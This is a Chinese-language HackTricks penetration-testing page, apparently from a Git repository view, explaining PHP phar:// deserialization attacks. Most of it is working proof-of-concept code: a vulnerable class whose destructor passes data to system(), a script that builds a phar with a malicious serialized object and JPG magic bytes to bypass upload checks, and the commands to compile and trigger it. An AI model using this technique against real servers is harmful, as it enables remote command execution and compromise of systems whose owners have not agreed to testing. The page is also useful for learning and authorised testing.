hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

110 lines
4.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# phar:// 反序列化
<details>
<summary><strong>从零到英雄学习 AWS 黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注我** [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
如果您对 **黑客职业** 感兴趣,并且想要黑掉不可黑的 - **我们正在招聘!** (_需要流利的波兰语书写和口语_).
{% embed url="https://www.stmcyber.com/careers" %}
**Phar** 文件PHP 归档)包含以序列化格式的元数据,因此,当解析时,这些 **元数据** 会被 **反序列化**,您可以尝试利用 **PHP** 代码中的 **反序列化** 漏洞。
关于这个特性最好的一点是,即使使用不执行 PHP 代码的 PHP 函数,如 **file\_get\_contents(), fopen(), file() 或 file\_exists(), md5\_file(), filemtime() 或 filesize()**,这种反序列化也会发生。
因此,想象一下这样的情况:您可以让 PHP 网页使用 **`phar://`** 协议获取任意文件的大小,并在代码中找到一个类似于以下的 **类**
{% code title="vunl.php" %}
```php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
```
```markdown
{% endcode %}
您可以创建一个**phar**文件,当加载时将**滥用这个类来执行任意命令**,类似于:
{% code title="create_phar.php" %}
```
```php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
{% endcode %}
注意,**JPG的魔数**`\xff\xd8\xff`被添加到phar文件的开头以**绕过**可能的文件**上传限制**。\
使用以下命令**编译**`test.phar`文件:
```bash
php --define phar.readonly=0 create_phar.php
```
执行 `whoami` 命令来滥用漏洞代码:
```bash
php vuln.php
```
### 参考资料
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
如果您对**黑客职业**感兴趣,并且想要攻破不可攻破的系统 - **我们正在招聘!**_需要流利的波兰语书写和口语_
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术</strong></summary>
其他支持HackTricks的方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧。
</details>